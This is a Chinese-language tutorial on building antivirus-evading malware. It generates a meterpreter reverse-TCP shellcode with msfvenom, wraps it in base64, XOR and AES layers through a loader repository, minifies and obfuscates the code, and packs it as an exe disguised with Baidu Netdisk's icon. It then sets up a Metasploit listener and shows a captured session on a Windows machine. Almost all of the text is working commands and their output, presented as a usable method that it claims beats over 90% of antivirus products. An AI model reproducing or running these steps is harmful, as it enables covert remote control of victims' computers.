免杀的思路是使用msfvenom
生成raw
格式的shellcode
转换为 base64
然后做XOR
再进行AES
然后再将Python代码缩小,并且混淆,最后打包生成exe可执行程序
目前可以过DF、360、卡巴斯基、迈克菲等等市面上90%以上的防病毒程序
1. 工具安装
推荐使用kali,在kali上执行
git clone https://github.com/HZzz2/python-shellcode-loader.git
cd python-shellcode-loader
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
# 可能会出现如下错误
No matching distribution found for pycryptodome
# 通过下面命令安装
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
2. 制作payload
使用kali自带的msfvenom
来生成一个shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.3.66.102 LPORT=5555 -f raw > rev.raw
3. 使用base64编码
将payload
通过base64
编码之后替换到jiami.py
中的sc
值内
base64 -w 0 -i rev.raw > rev.bs64
cat rev.bs64
复制base64的值替换jiami.py中payload 也就是 第二十四行 sc='payload'
4. 加密编码后的代码
使用jiami.py
可以将刚刚base64后的代码再次的加密,并且异或
#加密base64后的shellcode
python3 jiami.py
cat aes-xor.txt
#会生成一个aes-xor.txt的文件,复制文件里的值(经过XOR和AES加密后)复制的值替换main.py中的payload 也就是第四十一行 jiami_sc='payload'
5. 压缩和混淆python代码
压缩代码使用pyminify就可以实现
pyminify main.py --output main-mini.py
混淆代码可以使用在线混淆工具:https://pyob.oxyry.com/
混淆之后,将代码贴回main-mini.py
文件
6. 打包为可执行程序exe
注意一下:此步骤推荐在windows上完成,Linux上打包windows的程序会出现未知错误
先安装pyinstaller
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyinstaller
打包程序
pyinstaller -Fw -i '图标的路径,也可以是另一个带图标可执行程序路径用来获取图标' payload.py
打包好之后的程序在dist
目录下,我这边借用的百度网盘的图标
7. 测试免杀
在线查杀结果如下:https://www.virscan.org/
8. kali开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set payload
set lhost 10.3.66.102
set lport 5555
run
运行payload,运行成功之后就可以开始使用msfconsole
控制设备啦
[*] Started reverse TCP handler on 10.3.66.102:5555
[*] Sending stage (200774 bytes) to 10.3.0.88
[*] Meterpreter session 8 opened (10.3.66.102:5555 -> 10.3.0.88:14457) at 2024-08-06 18:55:47 +0800
meterpreter > sysinfo
Computer : AARON
OS : Windows 10 (10.0 Build 22631).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows